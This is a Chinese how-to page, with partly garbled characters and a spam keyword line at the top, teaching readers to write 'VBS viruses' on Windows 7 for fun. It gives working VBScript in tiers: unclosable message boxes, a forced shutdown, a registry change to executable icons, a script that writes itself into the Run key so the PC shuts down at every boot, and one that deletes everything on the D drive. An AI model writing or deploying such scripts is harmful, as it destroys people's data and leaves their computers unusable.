日韩精品中文字幕一区二区三区,成人欧美一区二区三区白人

　　在平時(shí)的生活工作中，我們偶爾會(huì)無(wú)聊，因此就想搞點(diǎn)事情出來(lái)，于是有人就想制作vbs病毒，可是很多人不知道w7怎么制作vbs病毒？為此小編趕緊整理了w7制作vbs病毒教程，感興趣的朋友可以來(lái)看看。

　　方法/步驟：

　　1、首先，打開(kāi)記事本。

w7怎么制作vbs病毒？

　　2、輸入代碼（整人級(jí)）：

01'--------------------------------1-關(guān)不掉的窗口--------------------------------do while(1)MsgBox("哈哈，你關(guān)不掉我！")loop'--------------------------------------------------------------------------------'-----------------------------------2-輸入“我是豬”--------------------------do while(a<>"我是豬")a=inputbox("快在下面的框里輸入我是豬")if(a<>"我是豬") thenMsgBox("趕緊承認(rèn)!!!")end ifloop'--------------------------------------------------------------------------------
復(fù)制代碼'--------------------------------1-關(guān)不掉的窗口--------------------------------do while(1)MsgBox("哈哈，你關(guān)不掉我！")loop'--------------------------------------------------------------------------------'-----------------------------------2-輸入“我是豬”--------------------------do while(a<>"我是豬")a=inputbox("快在下面的框里輸入我是豬")if(a<>"我是豬") thenMsgBox("趕緊承認(rèn)!!!")end ifloop'--------------------------------------------------------------------------------

　　3、（中等）：

01'--------------------------------3-直接關(guān)機(jī)------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe圖標(biāo)------------------------------------Dim OperationRegistrySet OperationRegistry=WScript.CreateObject("WScript.Shell")OperationRegistry.RegWrite "HKCR/exefile/DefaultIcon/","C:/Windows/System32/imageres.dll,-2" '這里的C:/Windows/System32/imageres.dll,-2可以改成任意路徑'--------------------------------------------------------------------------------
復(fù)制代碼'--------------------------------3-直接關(guān)機(jī)------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe圖標(biāo)------------------------------------Dim OperationRegistrySet OperationRegistry=WScript.CreateObject("WScript.Shell")OperationRegistry.RegWrite "HKCR/exefile/DefaultIcon/","C:/Windows/System32/imageres.dll,-2" '這里的C:/Windows/System32/imageres.dll,-2可以改成任意路徑'--------------------------------------------------------------------------------

　　4、（破壞級(jí)）如果無(wú)法恢復(fù)，不要怪我咯*_*：

01'------!!注意危險(xiǎn)!! 5-開(kāi)機(jī)一完畢就關(guān)機(jī)(計(jì)算機(jī)無(wú)法使用) !!注意危險(xiǎn)!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Run/"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危險(xiǎn)!! 6-格式化D盤(pán)(D盤(pán)下所有文件被刪除) !!注意危險(xiǎn)!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:/",0,ture'--------------------------------------------------------------------------------
復(fù)制代碼'------!!注意危險(xiǎn)!! 5-開(kāi)機(jī)一完畢就關(guān)機(jī)(計(jì)算機(jī)無(wú)法使用) !!注意危險(xiǎn)!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Run/"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危險(xiǎn)!! 6-格式化D盤(pán)(D盤(pán)下所有文件被刪除) !!注意危險(xiǎn)!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:/",0,ture'--------------------------------------------------------------------------------

　　如果代碼有問(wèn)題，無(wú)法實(shí)現(xiàn)應(yīng)有效果，請(qǐng)?jiān)�。（一些vbs破壞性太強(qiáng)，我不敢實(shí)驗(yàn)）

　　5、保存：按下Ctrl+S快捷鍵，在彈出的窗口中選擇文件類(lèi)型：所有文件（*.*），在文件名處輸入文件名，在文件名后面輸入“.vbs”或“.vbe”，保存。

w7怎么制作vbs病毒？